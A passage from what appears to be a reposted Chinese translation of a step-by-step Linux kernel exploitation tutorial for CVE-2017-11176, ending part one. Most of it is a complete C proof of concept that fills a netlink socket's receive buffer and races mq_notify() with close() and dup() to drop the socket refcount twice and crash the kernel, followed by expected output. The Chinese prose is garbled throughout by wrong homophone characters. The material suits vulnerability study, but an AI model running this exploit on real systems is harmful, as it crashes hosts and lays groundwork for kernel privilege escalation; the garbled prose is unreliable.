在末了三节中,编写用户态代码完成了触发破绽所需的每一个前提。在展现终究的PoC之前,另有一件事要做。

netlink_insert()会增添套接字援用计数,以是在进入mq_notify()之前,套接字援用计数为2(而不是1),以是需要触发破绽两次

在触发破绽之前,经由历程dup()发生新的fd来解锁主线程。需要dup()两次(由于旧的会被封闭),以是末了能够连结一个fd消除壅塞,另外一个fd来触发破绽。

“Show me the code!”

终究PoC(不要运转system tap):

/*
 * CVE-2017-11176 Proof-of-concept code by LEXFO.
 *
 * Compile with:
 *
 *  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
 */

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]

// ----------------------------------------------------------------------------

// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)

// ----------------------------------------------------------------------------

#define PRESS_KEY() \
  do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

struct unblock_thread_arg
{
  int sock_fd;
  int unblock_fd;
  bool is_ready; // we can use pthread barrier instead
};

// ----------------------------------------------------------------------------

static void* unblock_thread(void *arg)
{
  struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
  int val = 3535; // need to be different than zero

  // notify the main thread that the unblock thread has been created. It *must*
  // directly call mq_notify().
  uta->is_ready = true; 

  sleep(5); // gives some time for the main thread to block

  printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
  _close(uta->sock_fd);

  printf("[ ][unblock] unblocking now\n");
  if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
    perror("[+] setsockopt");
  return NULL;
}

// ----------------------------------------------------------------------------

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
  pthread_t tid;
  struct sigevent sigev;
  struct unblock_thread_arg uta;
  char sival_buffer[NOTIFY_COOKIE_LEN];

  // initialize the unblock thread arguments
  uta.sock_fd = sock_fd;
  uta.unblock_fd = unblock_fd;
  uta.is_ready = false;

  // initialize the sigevent structure
  memset(&sigev, 0, sizeof(sigev));
  sigev.sigev_notify = SIGEV_THREAD;
  sigev.sigev_value.sival_ptr = sival_buffer;
  sigev.sigev_signo = uta.sock_fd;

  printf("[ ] creating unblock thread...\n");
  if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
  {
    perror("[-] pthread_create");
    goto fail;
  }
  while (uta.is_ready == false) // spinlock until thread is created
    ;
  printf("[+] unblocking thread has been created!\n");

  printf("[ ] get ready to block\n");
  if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
  {
    perror("[-] mq_notify");
    goto fail;
  }
  printf("[+] mq_notify succeed\n");

  return 0;

fail:
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

/*
 * Creates a netlink socket and fills its receive buffer.
 *
 * Returns the socket file descriptor or -1 on error.
 */

static int prepare_blocking_socket(void)
{
  int send_fd;
  int recv_fd;
  char buf[1024*10];
  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = 118, // must different than zero
    .nl_groups = 0 // no groups
  };

  struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf)
  };

  struct msghdr mhdr = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = &iov,
    .msg_iovlen = 1,
    .msg_control = NULL,
    .msg_controllen = 0,
    .msg_flags = 0, 
  };

  printf("[ ] preparing blocking netlink socket\n");

  if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
      (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
  {
    perror("socket");
    goto fail;
  }
  printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

  while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
  {
    if (errno != EADDRINUSE)
    {
      perror("[-] bind");
      goto fail;
    }
    addr.nl_pid++;
  }

  printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

  if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
    perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
  else
    printf("[+] receive buffer reduced\n");

  printf("[ ] flooding socket\n");
  while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
    ;
  if (errno != EAGAIN)
  {
    perror("[-] sendmsg");
    goto fail;
  }
  printf("[+] flood completed\n");

  _close(send_fd);

  printf("[+] blocking socket ready\n");
  return recv_fd;

fail:
  printf("[-] failed to prepare block socket\n");
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

int main(void)
{
  int sock_fd  = -1;
  int sock_fd2 = -1;
  int unblock_fd = 1;

  printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

  if ((sock_fd = prepare_blocking_socket()) < 0)
    goto fail;
  printf("[+] netlink socket created = %d\n", sock_fd);

  if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
  {
    perror("[-] dup");
    goto fail;
  }
  printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);

  // trigger the bug twice
  if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
      decrease_sock_refcounter(sock_fd2, unblock_fd))
  {
    goto fail;
  }

  printf("[ ] ready to crash?\n");
  PRESS_KEY();

  // TODO: exploit

  return 0;

fail:
  printf("[-] exploit failed!\n");
  PRESS_KEY();
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

预期输出:

[ ] -={ CVE-2017-11176 Exploit }=-
[ ] preparing blocking netlink socket
[+] socket created (send_fd = 3, recv_fd = 4)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 4
[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 4 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 5 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] ready to crash?
[ ] press key to continue...

<<< KERNEL CRASH HERE >>>

从如今最先,直到exp终究完成,每次运转PoC体系都邑瓦解。这很烦人,但你会习气的。能够经由历程制止不必要的效劳(比方图形界面等)来加速启动时候。记得末了从新启用这些效劳,以婚配你的“真正”目的(他们也确切对内核有影响)。

结论

本文引见了调理器子体系,义务状况以及怎样经由历程守候行列在正在运转/守候状况之间转换。明白这局部有助于叫醒主线并博得竞态前提。

经由历程close()和dup()体系挪用,使第二次挪用fget()返回NULL,这是触发破绽所必须的。末了,研讨了怎样使netlink_attachskb()返回1。

一切这些组合起来成了终究的PoC,能够在不运用System Tap的情况下可靠地触发破绽并使内核瓦解。

接下来的文章将议论一个主要的话题:开释后重用破绽的应用。将论述slab分派器的基础知识,范例殽杂,从新分派以及怎样经由历程它来取得恣意挪用。将公然一些有助于构建和调试破绽的新东西。末了,我们会在适宜的时刻让内核瓦解。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2017-11176: 一步一步linux内核破绽应用 (一)(PoC)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址